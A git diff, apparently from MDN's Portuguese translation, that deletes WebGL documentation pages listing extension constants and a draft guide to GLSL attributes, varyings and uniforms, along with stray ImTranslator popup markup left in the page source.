- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>RGBA32F_EXT</code></td>
- <td>0x8814</td>
- <td>RGBA 32-bit floating-point color-renderable format.</td>
- </tr>
- <tr>
- <td><code>RGB32F_EXT</code></td>
- <td>0x8815</td>
- <td>RGB 32-bit floating-point color-renderable format.</td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE_EXT</code></td>
- <td>0x8211</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_NORMALIZED_EXT</code></td>
- <td>0x8C17</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(EXT_blend_minmax)">{{domxref("EXT_blend_minmax")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>MIN_EXT</code></td>
- <td>0x8007</td>
- <td>Produces the minimum color components of the source and destination colors.</td>
- </tr>
- <tr>
- <td><code>MAX_EXT</code></td>
- <td>0x8008</td>
- <td>Produces the maximum color components of the source and destination colors.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(EXT_sRGB)">{{domxref("EXT_sRGB")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>SRGB_EXT</code></td>
- <td>0x8C40</td>
- <td>Unsized sRGB format that leaves the precision up to the driver.</td>
- </tr>
- <tr>
- <td><code>SRGB_ALPHA_EXT</code></td>
- <td>0x8C42</td>
- <td>Unsized sRGB format with unsized alpha component.</td>
- </tr>
- <tr>
- <td><code>SRGB8_ALPHA8_EXT</code></td>
- <td>0x8C43</td>
- <td>Sized (8-bit) sRGB and alpha formats.</td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING_EXT</code></td>
- <td>0x8210</td>
- <td>Returns the framebuffer color encoding.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(OES_standard_derivatives)">{{domxref("OES_standard_derivatives")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>FRAGMENT_SHADER_DERIVATIVE_HINT_OES</code></td>
- <td>0x8B8B</td>
- <td>Indicates the accuracy of the derivative calculation for the GLSL built-in functions: <code>dFdx</code>, <code>dFdy</code>, and <code>fwidth</code>.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(WEBGL_draw_buffers)">{{domxref("WEBGL_draw_buffers")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>COLOR_ATTACHMENT0_WEBGL</code></td>
- <td>0x8CE0</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT1_WEBGL</code></td>
- <td>0x8CE1</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT2_WEBGL</code></td>
- <td>0x8CE2</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT3_WEBGL</code></td>
- <td>0x8CE3</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT4_WEBGL</code></td>
- <td>0x8CE4</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT5_WEBGL</code></td>
- <td>0x8CE5</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT6_WEBGL</code></td>
- <td>0x8CE6</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT7_WEBGL</code></td>
- <td>0x8CE7</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT8_WEBGL</code></td>
- <td>0x8CE8</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT9_WEBGL</code></td>
- <td>0x8CE9</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT10_WEBGL</code></td>
- <td>0x8CEA</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT11_WEBGL</code></td>
- <td>0x8CEB</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT12_WEBGL</code></td>
- <td>0x8CEC</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT13_WEBGL</code></td>
- <td>0x8CED</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT14_WEBGL</code></td>
- <td>0x8CEE</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT15_WEBGL</code></td>
- <td>0x8CEF</td>
- <td>Framebuffer color attachment point</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER0_WEBGL</code></td>
- <td>0x8825</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER1_WEBGL</code></td>
- <td>0x8826</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER2_WEBGL</code></td>
- <td>0x8827</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER3_WEBGL</code></td>
- <td>0x8828</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER4_WEBGL</code></td>
- <td>0x8829</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER5_WEBGL</code></td>
- <td>0x882A</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER6_WEBGL</code></td>
- <td>0x882B</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER7_WEBGL</code></td>
- <td>0x882C</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER8_WEBGL</code></td>
- <td>0x882D</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER9_WEBGL</code></td>
- <td>0x882E</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER10_WEBGL</code></td>
- <td>0x882F</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER11_WEBGL</code></td>
- <td>0x8830</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER12_WEBGL</code></td>
- <td>0x8831</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER13_WEBGL</code></td>
- <td>0x8832</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER14_WEBGL</code></td>
- <td>0x8833</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER15_WEBGL</code></td>
- <td>0x8834</td>
- <td>Draw buffer</td>
- </tr>
- <tr>
- <td><code>MAX_COLOR_ATTACHMENTS_WEBGL</code></td>
- <td>0x8CDF</td>
- <td>Maximum number of framebuffer color attachment points</td>
- </tr>
- <tr>
- <td><code>MAX_DRAW_BUFFERS_WEBGL</code></td>
- <td>0x8824</td>
- <td>Maximum number of draw buffers</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(OES_vertex_array_object)">{{domxref("OES_vertex_array_object")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>VERTEX_ARRAY_BINDING_OES</code></td>
- <td>0x85B5</td>
- <td>The bound vertex array object (VAO).</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="domxref(EXT_disjoint_timer_query)">{{domxref("EXT_disjoint_timer_query")}}</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Nome da constante</th>
- <th scope="col">Valor</th>
- <th scope="col">Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>QUERY_COUNTER_BITS_EXT</code></td>
- <td>0x8864</td>
- <td>The number of bits used to hold the query result for the given target.</td>
- </tr>
- <tr>
- <td><code>CURRENT_QUERY_EXT</code></td>
- <td>0x8865</td>
- <td>The currently active query.</td>
- </tr>
- <tr>
- <td><code>QUERY_RESULT_EXT</code></td>
- <td>0x8866</td>
- <td>The query result.</td>
- </tr>
- <tr>
- <td><code>QUERY_RESULT_AVAILABLE_EXT</code></td>
- <td>0x8867</td>
- <td>A Boolean indicating whether or not a query result is available.</td>
- </tr>
- <tr>
- <td><code>TIME_ELAPSED_EXT</code></td>
- <td>0x88BF</td>
- <td>Elapsed time (in nanoseconds).</td>
- </tr>
- <tr>
- <td><code>TIMESTAMP_EXT</code></td>
- <td>0x8E28</td>
- <td>The current time.</td>
- </tr>
- <tr>
- <td><code>GPU_DISJOINT_EXT</code></td>
- <td>0x8FBB</td>
- <td>A Boolean indicating whether or not the GPU performed any disjoint operation.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('WebGL', "#5.14", "WebGLRenderingContext")}}</td>
- <td>{{Spec2('WebGL')}}</td>
- <td>Initial definition</td>
- </tr>
- <tr>
- <td>{{SpecName('WebGL2', "#3.7", "WebGL2RenderingContext")}}</td>
- <td>{{Spec2('WebGL2')}}</td>
- <td>Defines additional constants.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{domxref("WebGLRenderingContext")}}</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/webgl_api/data/index.html b/files/pt-pt/web/api/webgl_api/data/index.html
deleted file mode 100644
index b085643358..0000000000
--- a/files/pt-pt/web/api/webgl_api/data/index.html
+++ /dev/null
@@ -1,134 +0,0 @@
----
-title: Dados em WebGL
-slug: Web/API/WebGL_API/Data
-tags:
- - 3D
- - API de WebGL
- - Atributos
- - Desenho
- - Gráficos 3D
- - Guía
- - Intermediário
- - Uniforms
- - Varyings
- - WebGL
- - graficos
-translation_of: Web/API/WebGL_API/Data
-original_slug: Web/API/WebGL_API/Dados
----
-<div>{{WebGLSidebar}}{{draft}}</div>
-
-<p>Shader programs have access to three kinds of data storage, each of which has a specific use case. Each kind of variable is accessible by one or both types of shader program (depending on the data store type) and possibly by the site's JavaScript code, depending on the specific type of variable.</p>
-
-<h2 id="Tipos_de_dados_GLSL">Tipos de dados GLSL</h2>
-
-<p>&lt;&lt;document the basic types, vectors, etc; see <a href="https://www.khronos.org/opengl/wiki/Data_Type_(GLSL)">Data Type (GLSL)</a> on the Khronos WebGL wiki&gt;&gt;</p>
-
-<h2 id="Variáveis_de_GLSL">Variáveis de GLSL</h2>
-
-<p>There are three kinds of "variable" or data storage available in GLSL, each of which with its own purpose and use cases: <strong>{{anch("Attributes", "attributes")}}</strong>, <strong>{{anch("Varyings", "varyings")}}</strong>, and <strong>{{anch("Uniforms", "uniforms")}}</strong>.</p>
-
-<h3 id="Atributos">Atributos</h3>
-
-<p><strong>Attributes</strong> are GLSL variables which are only available to the vertex shader (as variables) and the JavaScript code. Attributes are typically used to store color information, texture coordinates, and any other data calculated or retrieved that needs to be shared between the JavaScript code and the vertex shader.</p>
-
-<p>&lt;&lt;add how to use them&gt;&gt;</p>
-
-<h3 id="Varyings"><em>Varyings</em></h3>
-
-<p><strong>Varyings</strong> are variables that are declared by the vertex shader and used to pass data from the vertex shader to the fragment shader. This is commonly used to share a vertex's {{interwiki("wikipedia", "Normal_(geometry)", "normal vector")}} after it has been computed by the vertex shader.</p>
-
-<p>&lt;&lt;how to use&gt;&gt;</p>
-
-<h3 id="Uniforms"><em>Uniforms</em></h3>
-
-<p><strong>Uniforms</strong> are set by the JavaScript code and are available to both the vertex and fragment shaders. They're used to provide values that will be the same for everything drawn in the frame, such as lighting positions and magnitudes, global transformation and perspective details, and so forth.</p>
-
-<p>&lt;&lt;add details&gt;&gt;</p>
-
-<h2 id="Buffers"><em>Buffers</em></h2>
-
-<p>&lt;&lt;add information&gt;&gt;</p>
-
-<h2 id="Texturas">Texturas</h2>
-
-<p>&lt;&lt;add information&gt;&gt;</p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: none; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
